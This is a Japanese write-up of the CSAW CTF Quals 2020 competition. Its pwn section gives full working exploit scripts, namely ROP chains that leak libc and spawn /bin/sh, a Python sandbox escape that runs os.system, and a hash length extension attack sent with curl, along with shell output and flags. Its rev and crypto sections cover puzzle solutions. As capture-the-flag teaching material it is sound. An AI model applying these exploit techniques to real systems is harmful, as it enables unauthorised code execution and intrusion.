9問、1005点、145位。
頑張ったらpwn全完できないかなーと思ったけど、全然無理だった。
この本がちゃんと役に立つのか、CSAW CTFで確かめるか。目指せpwn全完。
— kusanoさん@がんばらない (@kusano_k) September 12, 2020
Malleus CTF Pwn Second Edition:superfliphttps://t.co/PsEyvySWX0
CSAW CTF Quals 2020https://t.co/1DcLBeeItm
CSAW CTF Quals 2020 1005点 145位
— kusanoさん@がんばらない (@kusano_k) September 14, 2020
pwn全完無理でした😇 pic.twitter.com/5iRVnCvIBb
pwn
roppity
特にひねりの無いスタックバッファオーバーフロー。puts(puts@got); main()
を実行し、libcのアドレスを得て、execv("/bin/sh", NULL)
。
from pwn import *
s = remote("pwn.chal.csaw.io", 5016)
elf = ELF("rop")
context.binary = elf
s.sendlineafter("Hello\n",
b"a"*0x28 +
pack(0x400683) +
pack(elf.got.puts) +
pack(elf.plt.puts) +
pack(elf.symbols.main))
puts = unpack(s.recv(6)+b"\0\0")
libc = ELF("libc-2.27.so")
libc.address = puts - libc.symbols.puts
rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
s.sendlineafter("Hello\n",
b"a"*0x28 +
rop.chain())
s.interactive()
$ python3 attack.py
[+] Opening connection to pwn.chal.csaw.io on port 5016: Done
[*] '/mnt/d/documents/ctf/csaw2020/roppity/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/mnt/d/documents/ctf/csaw2020/roppity/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 196 cached gadgets for 'libc-2.27.so'
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-x--- 1 root rop 4096 Sep 10 23:55 .
drwxr-xr-x 1 root root 4096 Sep 10 23:55 ..
-rw-r--r-- 1 root rop 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root rop 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root rop 807 Apr 4 2018 .profile
-r--r----- 1 root rop 30 Sep 10 23:33 flag.txt
-r-xr-xr-x 1 root rop 8400 Sep 10 23:33 rop
$ cat flag.txt
flag{r0p_4ft3r_r0p_4ft3R_r0p}
slithery
「Pythonをコードを実行するけど、特定の文字列は弾くから回避してね」という問題。
#!/usr/bin/env python3
from base64 import b64decode
import blacklist # you don't get to see this :p
"""
Don't worry, if you break out of this one, we have another one underneath so that you won't
wreak any havoc!
"""
def main():
print("EduPy 3.8.2")
while True:
try:
command = input(">>> ")
if any([x in command for x in blacklist.BLACKLIST]):
raise Exception("not allowed!!")
final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
exec(final_cmd)
except (KeyboardInterrupt, EOFError):
return 0
except Exception as e:
print(f"Exception: {e}")
if __name__ == "__main__":
exit(main())
難読化されている部分が何をやっているのかを解読すると、
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = 1
ORppRjAVZL = ["from", "base64", "import", "b64decode"]
AAnBLJqtRv = "base64"
bAfGdqzzpg = "b64decode"
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__("base64"), "b64decode")
RMbPOQHCzt = __builtins__.__dict__[b64decode(b'X19pbXBvcnRfXw==').decode('utf-8')](b64decode(b'bnVtcHk=').decode('utf-8'))
# = __builtins__.__dict__["__import__"]("numpy")
回避方法を教えてくれる&base64の復号を提供してくれているのでしょう。
同じようにos.system
を実行しようとしたら、__builtins__
が弾かれていた。でも、globals()["__builtins__"]
でいける。
$ nc pwn.chal.csaw.io 5011
EduPy 3.8.2
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("ls -al")
total 40
drwxr-xr-x 1 750 slithery 4096 Sep 11 22:33 .
drwxr-xr-x 1 root root 4096 Sep 11 22:07 ..
-rw-r--r-- 1 root slithery 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 root slithery 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 root slithery 807 Feb 25 2020 .profile
-rw-r--r-- 1 root slithery 823 Sep 10 23:33 blacklist.py
-rw-r--r-- 1 440 root 23 Sep 10 23:33 flag.txt
-rwxr-xr-x 1 root slithery 922 Sep 11 01:48 runner.py
-rw-r--r-- 1 root slithery 1113 Sep 11 01:48 sandbox.py
-rw-r--r-- 1 root slithery 440 Sep 11 01:48 solver.py
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat flag.txt")
flag{y4_sl1th3r3d_0ut}
solver.pyって何かと思ったら、模範解答だった。
>>> getattr(globals()[HrjYMvtxwA(b'X19idWlsdGluc19f').decode('utf-8')].__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'b3M=').decode('utf-8')), HrjYMvtxwA(b'c3lzdGVt').decode('utf-8'))("cat solver.py")
#!/usr/bin/env python3
from pwn import *
def main():
p = remote("localhost", "8000")
numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"
py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"
p.sendlineafter(">>> ", numpy_escape)
p.sendlineafter(">> ", py_escape)
p.interactive()
if __name__ == "__main__":
main()
解き方色々。え、system
通るの? と思いながら、blacklist.pyを見てみると、BLACKLIST
とBLACKLIST2
があるな。で、これはBLACKLIST2
の回避用で、runner.pyがこの問題と似たような問題でBLACKLIST2
を使っていた。謎。
grid
C++だからめっちゃ読みづらい……。まあ、やっていることは単純で、c x y
の組を繰り返し読む。文字がd
だったら、char buf[10][10]
を用意して、buf[y][x]=c
とし、出力。x
とy
の範囲チェックは無し。buf
は初期化していなくて、libstdcのアドレスが残っている。ここから、libstdcのアドレスが分かり、ASLRでは共有ライブラリ間のオフセットは変化しないので、libcのアドレスも分かる。手元のUbuntu 18.04が問題のlibcやlibcstdcとバージョンがピッタリ一致していたから、そこで動かしてオフセットを調べた。WSLはダメ。問題のプログラムはGOTにlibcの関数が無いので、直接libcのアドレスを調べることができない。
from pwn import *
context.binary = "grid"
s = remote("pwn.chal.csaw.io", 5013)
#s = remote("localhost", 7777)
s.sendlineafter("shape> ", "d")
s.recvline() # Displaying
r = [s.recvline() for _ in range(10)]
x = unpack(r[1][6:-1]+r[2][:4])
libc_base = x-(0x7ffff7dd16e0-0x7ffff765b000)
#libc_base = x-(0x7fffff3f56e0-0x7ffffec70000)
print("libc_base", hex(libc_base))
libc = ELF("libc-2.27.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc.address = libc_base
rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
chain = rop.chain()
for i in range(len(rop.chain())):
print("%d/%d"%(i, len(rop.chain())))
s.sendlineafter("shape> ", chain[i:i+1])
n = 0x78+i
s.sendlineafter("loc> ", "%d %d"%(0, n))
s.recvline()
s.sendlineafter("shape> ", "d")
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/csaw2020/grid/grid'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to pwn.chal.csaw.io on port 5013: Done
libc_base 0x7fd3bfdb0000
[*] '/mnt/d/documents/ctf/csaw2020/grid/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 196 cached gadgets for 'libc-2.27.so'
0/40
1/40
2/40
3/40
:
36/40
37/40
38/40
39/40
[*] Switching to interactive mode
Displaying
+fR\xc0\xd3\x7f\x00\xc0!
`\x00\x00\x00fR\xc0
\xd3\x00\x9a\xc5)\xc0\xd3\x7f
\x00\x80%\x1d\xff\x7f\x00
\xc0!`\x00\x00\x00f
R\xc0\xd3\x7f\x00\xcd\xe7(\xc0
\xd3\x00\xc0!`\x00\x00\x00\xde\xde)\xc0\xd3\x7f\x00
\x00\x00\x00\x00$
\x1d\xff\x7f\x00($\x1d
$ ls -al
total 36
drwxr-xr-x 1 root grid 4096 Sep 10 23:55 .
drwxr-xr-x 1 root root 4096 Sep 10 23:55 ..
-rw-r--r-- 1 root grid 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root grid 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root grid 807 Apr 4 2018 .profile
-r--r----- 1 root grid 30 Sep 10 23:33 flag.txt
-r-xr-xr-x 1 root grid 10336 Sep 10 23:33 grid
$ cat flag.txt
flag{but_4ll_l4ngu4g3s_R_C:(}
flag{but_4ll_l4ngu4g3s_R_C:(}
The Bards' Fail
英語が読めねぇ……。
$ ./bard
*** Welcome to the Bards' Fail! ***
Ten bards meet in a tavern.
They form a band.
You wonder if those weapons are real, or just props...
Bard #1, choose thy alignment (g = good, e = evil):
g
Choose thy weapon:
1) +5 Holy avenger longsword
2) +4 Crossbow of deadly accuracy
1
Enter thy name:
hoge
Bard #2, choose thy alignment (g = good, e = evil):
e
Choose thy weapon:
1) Unholy cutlass of life draining
2) Stiletto of extreme disappointment
1
Enter thy name:
fuga
問題文曰く、読まなくて良いらしい。
Pwn your way to glory! You do not need fluency in olde English to solve it, it is just for fun.
good or evilを10人分読んでスタック上のバッファに格納し、取り出して何かする。goodの場合は0x30バイト、evilの場合は0x38バイト使う。でもバッファは0x30*10=0x1e0バイトしか確保されていない。
またスタックバッファオーバーフローなのだけど、Stack-Smashing Protectionが有効。このときのスタックは、
オフセット | 内容 |
---|---|
rbp-8 | カナリア(書き換えてはいけない) |
rbp | 古いrbpの値(書き換えてOK) |
rbp+8 | リターンアドレス(ここから先を狙った値に書き換える) |
一方、goodとかevilとかの構造体は、こちらから入力する文字列以外にも、プログラムが選択した武器とか謎の値とかを書き込んでいる。goodの場合、0x30バイトのうち、0x8バイト目からの0x20バイトが名前。短い名前を入力すれば後ろのほうは値がそのまま残る。evilの場合、0x38バイトのうち、0x16バイト目からの0x20バイトが名前。さらにパディングの0x36バイトからの2バイトは手つかず。
ということで、evilやgoodの人数を上手いこと調整して、カナリアの値をそのまま残せば良い。evilを7人、goodを1人確保して、その直後にevilを確保し短い名前を入力すると、名前の部分がカナリアにあたってそのまま残される。その後goodを確保すると、プログラムが書き込むのは古いrbpの値の部分になって、名前がリターンアドレスの部分になる。
from pwn import *
s = remote("pwn.chal.csaw.io", 5019)
elf = ELF("bard")
context.binary = elf
def send(rop):
for t in "eeeeeeege":
s.sendlineafter("(g = good, e = evil):\n", t)
s.sendline("1")
s.sendafter("name:\n", "a")
s.sendlineafter("(g = good, e = evil):\n", "g")
s.sendline("1")
s.sendafter("name:\n", rop)
for i in range(10):
s.sendlineafter("(r)un\n", "r")
send(
pack(0x401143) + # pop rdi
pack(elf.got.puts) +
pack(elf.plt.puts) +
pack(0x400f7c)) # main
s.recvuntil("bravely runs away.\n")
puts = unpack(s.recvline()[:-1]+b"\0\0")
libc = ELF("libc-2.27.so")
libc.address = puts - libc.symbols.puts
send(
pack(0x401144) + # ret
pack(0x401143) + # pop rdi
pack(next(libc.search(b"/bin/sh"))) +
pack(libc.symbols.system))
s.interactive()
ポインタ4個分しか書き込めなくて、execv("/bin/sh", NULL)
には足りない。ret
を1回挟んでスタックのアラインを調節してからのsystem("/bin/sh");
でちょうど4個。
$ python3 attack.py
[+] Opening connection to pwn.chal.csaw.io on port 5019: Done
[*] "/mnt/d/documents/ctf/csaw2020/The Bards' Fail/bard"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] "/mnt/d/documents/ctf/csaw2020/The Bards' Fail/libc-2.27.so"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-x--- 1 root bard 4096 Sep 12 19:41 .
drwxr-xr-x 1 root root 4096 Sep 12 19:41 ..
-rw-r--r-- 1 root bard 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root bard 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root bard 807 Apr 4 2018 .profile
-r-xr-xr-x 1 root bard 10336 Sep 12 19:40 bard
-r--r----- 1 root bard 38 Sep 12 14:08 flag.txt
$ cat flag.txt
flag{why_4r3_th3y_4ll_such_c0w4rds??}
flag{why_4r3_th3y_4ll_such_c0w4rds??}
pwnvoltex
解けなかった。
Sound VoltexのOSS実装のUnnamed SDVX cloneというものがあるらしい。で、作問者がゲームサーバーを提供している。対戦相手のbotが持っている曲の情報の中にフラグがあるとのことだけど、プロトコルを見る感じ曲情報はお互いのローカルにあるという前提のようで、曲のハッシュ値しかやりとりしていない。どうしろと……。
CSAW CTF簡易writeup
— pwnyaa (@pwnyaa) September 14, 2020
baby_mult, ezberry: エスパー
not_malware: バイナリ読むだけ
blox1: テトリスでお絵かき
roppity, bard, grid: ROP
slithery: numpy.loadtxt('flag.txt')
pwnvoltex: 曲名でSQLi
feather: hardlinkでtype confusion
pwn以外💩だったからwriteup書くか迷うな
こんなん分からん。直近のコミットにそれらしいものがないけど、この脆弱性は今も残っているのかな。
blox2
解けなかった。
問題概要はblox1を参照。
「pwnだしシェルを取れば良いんでしょ。デバッガが使えるのだから、シェルコードを書き込んで実行させたら何とかならないかな」で試してみたら、シェルが動いた。でも、なぜか1文字ごとに改行が送られて、command not foundになってしまう。lとsを連打したら、たまたまlsになって、flagというファイルがあるのが見えた。
じゃあ、/bin/cat flag
を実行するシェルコードにしてみるか → 「デバッガを検知しました。ライブモードで実行してね」。ですよね。
// magic values for the hardware logging mechanism
// hacking is grounds for voiding this machine's warranty
#define LOG_CHEATING 0xbadb01
#define LOG_HACKING 0x41414141
void hw_log(int reason) {
syscall(1337, reason);
}
ソースコードを見るに、syscall(1337, 0x41414141)
を実行すれば良い? メモリは全て書き込みも実行もできるので、脆弱性さえあれば何とでもなりそうだけど、脆弱性が見つからない。キー入力は操作と、ハイスコア時の名前入力だけで、名前入力のところもしっかりしている。
writestr(" NEW HIGH SCORE!!!\n");
char* name = malloc(4);
writestr("Enter your name, press enter to confirm\n");
writestr("___");
int nameidx = 0;
char c;
while ((c = getchar()) != '\n') {
if (c == '\b' || c == '\x7f') { // backspace characters
if (nameidx) {
name[--nameidx] = 0;
redraw_name(name);
}
}
else {
if (c >= 'a' && c <= 'z')
c -= 0x20;
if (c >= 'A' && c <= 'Z' && nameidx < 3) {
name[nameidx++] = c;
redraw_name(name);
}
}
}
分からん。
feather
解けなかった。
独自のファイルシステムを実装していて、ディスクイメージをbase64エンコードして投げると、パースしてファイルツリーを表示するプログラム。
これ、良い問題だと思う。実際のプログラムで標準入出力でやりとりすることなんてそんなに無いわけで、実際に攻撃するにはこういう状況で攻撃できなければいけないのだろう。
でも、ソースコードも付いているけど、分量が多すぎて諦め。
web
widthless
widthlessという問題があった……と思う……のだが……。問題一覧に無いし、連絡用Discordで運営も何も言っていない。え、なんだこれ。怖い。
問題で指定されたサイトに行くと、ソースコードにU+200bからU+200fの5種類のゼロ幅スペースが含まれている。0x200bを引いて7桁ずつに区切って5進数と思って変換。Base64で復号するとalm0st_2_3z
になる。これはフラグではなく、これをサイトのテキストボックスに入力すると次のURLが出てくる。
同じ事をもう1回やるとフラグのあるURLが出てくる。
flag{gu3ss_u_f0und_m3}
rev
blox1
指定された外部サービス(このサービス自体の脆弱性はスコープ外とのこと)を開くとこんな感じ。
GDB PEDAに慣れすぎて素のGDBはつらいものの、必要なものが一通り揃っていてブラウザだけで動くのは、初心者に良さそう。今回のCTFの問題以外の問題もあるのだろうか……とトップページを見てみたら、「Purchase」のボタンがあるし、デモもアカウント登録が必要だった。購入ページを見てみると会社のお金で買う感じのお値段だ。お遊びで10万円/3か月はちょっと手が出ませんね……。
この問題自体はテトリス。check_cheat_codes
という関数があって、これが通れば、ブロックを好きなブロックに変えられるようになる。check_cheat_codes
の実装はソースコードにはなく逆アセンブル結果だけ。チートをすれば良いのでしょう。
GDBで適当にチェックを潰すと、「デバッグモードではなく(GDBの使えない)ライブモードでやれ」と言われる。はい。
逆アセンブル結果を読むと、下5行のブロックの状態から、算出した配列がある配列になっていれば良い。ブロックは60個もあるけど、4個に分けて独立して計算しているので、それぞれは15個。2^15を全探索する。
data_403700 = [0x03, 0x02, 0x03, 0x02, 0x02, 0x00, 0x01, 0x03, 0x01, 0x00, 0x00, 0x02, 0x02, 0x02, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00]
data_403718 = [0x01, 0x02, 0x03, 0x01, 0x07, 0x04, 0x01, 0x01, 0x01, 0x03, 0x07, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
data_403730 = [0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x02, 0x01, 0x03, 0x03, 0x01, 0x01, 0x01, 0x01, 0x03, 0x01, 0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x00]
data_403748 = [0x05, 0x02, 0x03, 0x05, 0x03, 0x02, 0x01, 0x05, 0x01, 0x04, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
board = [[False]*12 for _ in range(5)]
for i in range(4):
for b in range(2**(3*5)):
for y in range(5):
for x in range(3):
board[y][i*3+x] = (b&1)!=0
b >>= 1
ok = True
for y in range(5):
xor = 0
c = 0
for x in range(3):
if board[y][i*3+x]:
xor ^= x+1
c += 1
if xor!=data_403700[i*5+y] or c!=data_403730[i*5+y]:
ok = False
for x in range(3):
xor = 0
c = 0
for y in range(5):
if board[y][i*3+x]:
xor ^= y+1
c += 1
if xor!=data_403718[i*3+x] or c!=data_403748[i*3+x]:
ok = False
if ok:
break
for b in board:
print("".join(".#"[int(x)] for x in b))
>py -3 solve.py
##.#########
#.##...#...#
##.##..#.###
#.##...#.#..
#.####.#.###
あとはテトリスを頑張る。乱数は固定なので、落ちてくるブロックも固定。最初の4個を左端に落とし、残りをそのまま下に落としてゲームオーバーになり、その次の回の配牌が良い感じ。
左の画面はPythonから実行してダメだったやつ。キーロガー機能も付いているので、デバッグモードで止めたりしながら成功するまでやって、記録したキーストロークをPythonスクリプトから流し込めば良いと思ったけど、このキーロガーは入力したキーを保存するだけで、どのフレームでキーを入力したかは覚えてくれない。ハードドロップせずに落としたとか、他のブロックを回避するためにある程度下に落としてから左右に移動したとかでおかしくなる。
flag{c0ngr4ts_0n_y0ur_S3cr3t_Gr4de_GM}
crypto
Perfect Secrecy
視覚暗号。重ねると文字が浮かび上がる。
右下がフラグっぽいけど読めない……。「差の絶対値」で重ねれば良いのか。
flag{0n3_t1m3_P@d!}
authy
Length Extension Attack。Base64とURLエンコードでバグったので、ローカルで動かしてデバッグした。
import subprocess
host = "crypto.chal.csaw.io:5003"
data = "YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9aG9nZSZub3RlPWZ1Z2EmZW50cnludW09Nzgz"
hash = "a600777ddf5a1e0680ef6d3c285126fbcaea2c6e"
#host = "localhost:5000"
#data = "YWRtaW49RmFsc2UmYWNjZXNzX3NlbnNpdGl2ZT1GYWxzZSZhdXRob3I9aG9nZSZub3RlPXBpeW8mZW50cnludW09Nzgz"
#hash = "5106a45f5fef3607cc0e58a1171801b9fbffa878"
for i in range(1, 64):
x = subprocess.check_output([
"HashPump/hashpump",
"-s", hash,
"-d", data.decode("base64"),
"-a", "&admin=True&access_sensitive=True&entrynum=7",
"-k", str(i)])
x = x.split("\n")
hash2 = x[0]
data2 = x[1]
data2 = data2.encode("base64")
data2 = data2.replace("\n", "").replace("+", "%2B")
r = subprocess.check_output([
"curl",
"-sS",
"http://"+host+"/view",
"-d", "id=%s&integrity=%s"%(data2, hash2)])
print i
print r
$ python2 solve.py
1
>:(
>:(
>:(
2
>:(
>:(
>:(
:
12
>:(
>:(
>:(
13
Author: admin
Note: You disobeyed our rules, but here's the note: flag{h4ck_th3_h4sh}
14
>:(
>:(
flag{h4ck_th3_h4sh}
sanity
sanity
Discord。
flag{gu3ss_u_f0und_m3}